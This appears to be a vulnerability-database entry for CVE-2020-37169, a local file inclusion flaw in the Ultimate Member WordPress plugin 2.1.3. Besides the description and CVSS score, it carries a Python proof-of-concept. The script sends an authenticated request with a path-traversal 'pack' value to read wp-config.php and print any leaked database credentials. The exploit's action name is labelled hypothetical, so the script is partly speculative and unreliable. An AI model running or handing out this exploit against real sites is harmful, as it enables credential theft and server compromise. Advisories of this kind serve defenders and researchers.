Security Vulnerability Report
中文
CVE-2020-37169 CVSS 5.5 MEDIUM

CVE-2020-37169

Published: 2026-05-13 16:16:33
Last Modified: 2026-05-13 17:07:21

Description

WordPress Plugin ultimate-member 2.1.3 contains a local file inclusion vulnerability that allows authenticated attackers to include arbitrary files by manipulating the pack parameter in class-admin-upgrade.php. Attackers can send POST requests with malicious pack values to include unintended PHP files from the packages directory and execute arbitrary code.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Ultimate Member 2.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # The action triggers the upgrade function in class-admin-upgrade.php action = "um_do_ajax_upgrade" # Hypothetical action name based on plugin structure # Attacker's session cookie (requires authentication, PR:L) cookies = { "wordpress_logged_in_example": "attacker_session_cookie_value" } # Malicious payload including a sensitive file using path traversal # Attempting to include wp-config.php to leak database credentials payload_data = { "action": action, "pack": "../../../wp-config.php" } try: response = requests.post(target_url, data=payload_data, cookies=cookies) # Check if the response contains indicators of success (e.g., DB_PASSWORD) if response.status_code == 200 and "DB_PASSWORD" in response.text: print("[+] Vulnerability exploited successfully!") print("[+] Leaked content:") print(response.text[:500]) # Print first 500 chars of response else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
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